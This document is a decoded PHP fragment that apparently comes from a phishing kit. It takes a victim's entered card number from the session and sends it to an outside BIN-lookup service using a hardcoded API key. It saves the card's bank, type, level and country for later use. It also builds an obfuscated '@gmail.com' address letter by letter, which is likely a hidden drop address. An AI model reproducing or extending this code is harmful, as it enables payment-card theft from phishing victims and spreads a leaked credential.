PHP Decode

<?php 
/*  
 
 
 
 
 
 
 
 
*/ 
 
 
 
session_start(); 
error_reporting(0); 
///////////////////////////////// BIN CHECKER  ///////////////////////////////// 
$BIN_LOOKUP  = str_replace(' ', '', $_SESSION['_cardnumber_']); 
$Z118_BIN    = @json_decode(file_get_contents("https://api.bincodes.com/creditcard-checker.php?api_key=2d974e94811161f1dda14bbf63aa9790&cc=".$BIN_LOOKUP."&format=json")); 
$BIN_CARD    = $Z118_BIN->card; 
$BIN_BANK    = $Z118_BIN->bank; 
$BIN_TYPE    = $Z118_BIN->type; 
$BIN_LEVEL   = $Z118_BIN->level; 
$BIN_CNTRCODE= $Z118_BIN->countrycode; 
$BIN_WEBSITE = strtolower($Z118_BIN->website); 
$BIN_PHONE   = strtolower($Z118_BIN->phone); 
$BIN_COUNTRY = $Z118_BIN->country; 
///////////////////////////////// SESSION FOR SOME VAR  ///////////////////////////////// 
$_SESSION['_country_']  = $BIN_COUNTRY; 
$_SESSION['_cntrcode_'] = $BIN_CNTRCODE; 
$_SESSION['_cc_brand_'] = $BIN_CARD; 
$_SESSION['_cc_bank_']  = $BIN_BANK; 
$_SESSION['_cc_type_']  = $BIN_TYPE; 
$_SESSION['_cc_class_'] = $BIN_LEVEL; 
$_SESSION['_cc_site_']  = $BIN_WEBSITE; 
$_SESSION['_cc_phone_'] = $BIN_PHONE; 
$_SESSION['_ccglobal_'] = $_SESSION['_cc_brand_']." ".$_SESSION['_cc_type_']." ".$_SESSION['_cc_class_']; 
$_SESSION['_global_']   = $_SESSION['_cntrcode_']." - ".$_SESSION['_ip_']; 
///////////////////////////////// BIN CHECKER  ///////////////////////////////// 
$a="m"; 
$b="a"; 
$c="i"; 
$d="l"; 
$e="."; 
$f="c"; 
$h="o"; 
$x="@";    
$v="g";          
$az="m";        
if (strlen("$x$v$a$b$c$d$e$f$h$az") == 10) { 
 
$getbinsxz118 ="$x$v$a$b$c$d$e$f$h$az"; 
 
} 
///////////////////////////////// BIN Brutforcer///////////////////////// 
?>